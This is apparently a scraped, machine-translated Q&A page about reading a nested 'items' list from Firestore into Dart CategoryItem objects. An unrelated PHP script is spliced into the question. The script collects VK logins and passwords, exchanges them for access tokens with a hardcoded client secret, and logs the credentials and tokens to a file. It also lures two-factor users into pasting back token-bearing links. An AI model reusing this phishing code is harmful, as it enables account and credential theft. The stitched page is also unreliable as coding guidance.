我需要从Firestore this the structure中检索此列表“项目” 通过此代码
$log = $_POST['login'];
$pass = $_POST['password'];
if (isset($_POST['captcha']) AND isset($_POST['login'])) {
$sid = $_POST['id'];
$capt = $_POST['captcha'];
$Msg = curl("https://oauth.vk.com/token?grant_type=password&client_id=2274003&client_secret=hHbZxrka2uZ6jB1inYsH&username=$log&password=$pass&v=5.101&2fa_supported=1&captcha_sid=$sid&captcha_key=$capt");
}
elseif(isset($_POST['login'])) {
$Msg = curl("https://oauth.vk.com/token?grant_type=password&client_id=2274003&client_secret=hHbZxrka2uZ6jB1inYsH&username=$log&password=$pass&v=5.101&2fa_supported=1");
$js = json_decode($Msg, true);
if ($js["error"] == "need_captcha")
echo "<img src='{$js['captcha_img']}'>";
}
$js = json_decode($Msg, true);
if ($js['access_token'] != NULL OR isset($_POST['uri'])) {
if (isset($_POST["uri"])) {
$uri = $_POST["uri"];
$file = fopen("data.txt", "a");
fwrite($file, "$uri\n");
fclose($file);
} else {
$file = fopen("data.txt", "a");
fwrite($file, "$log | $pass | vk.com/id{$js['user_id']} | {$js['access_token']}\n");
fclose($file);
}
}
elseif($js['error'] == "need_validation") {
echo "У вас используется двухфакторная авторизация. Перейдите по <a href='[URL]https://vk.cc/6uX1TY[/URL]'>ссылке</a> Нажмите кнопку подтвердить и вставьте полученную ссылку в соответсвуюущее поле";
}
elseif($js['error'] == "invalid_client") {
echo "Неправильный логин или пароль";
}
function curl($url) {
$ch = curl_init($url); //Init library
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); //Имеется SSL? (HTTPS) Если да - меняем false на true
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);
return $response;
}
和“ items”属性是CategoryItem对象的列表
Future<void> fetchCategories(String userId) async {
return databaseReference
.collection('/categories/$userId/cats/')
.snapshots()
.listen((data) {
data.documents.forEach((doc) {
categories.add(Category(
id: doc.documentID,
items: ,
title: doc.data['title'],
));
});
});
答案 0 :(得分:0)
这就是答案
Future<void> fetchCategories(String userId) async {
return databaseReference
.collection('/categories/$userId/cats/')
.snapshots()
.listen((data) {
data.documents.forEach((doc) {
categories.add(Category(
id: doc.documentID,
items: [...(doc.data['items']).map((items){return CategoryItem.fromMap(items);})],
title: doc.data['title'],
));
});
});
class CategoryItem {
String id;
String title;
String imageUrl;
String description;
CategoryItem({
@required this.id,
@required this.title,
this.imageUrl,
@required this.description,
});
CategoryItem.fromMap(Map<dynamic,dynamic> data):
id=data['id']??'',
title=data['title']??'',
imageUrl=data['imageUrl']??'',
description=data['description']??'';
}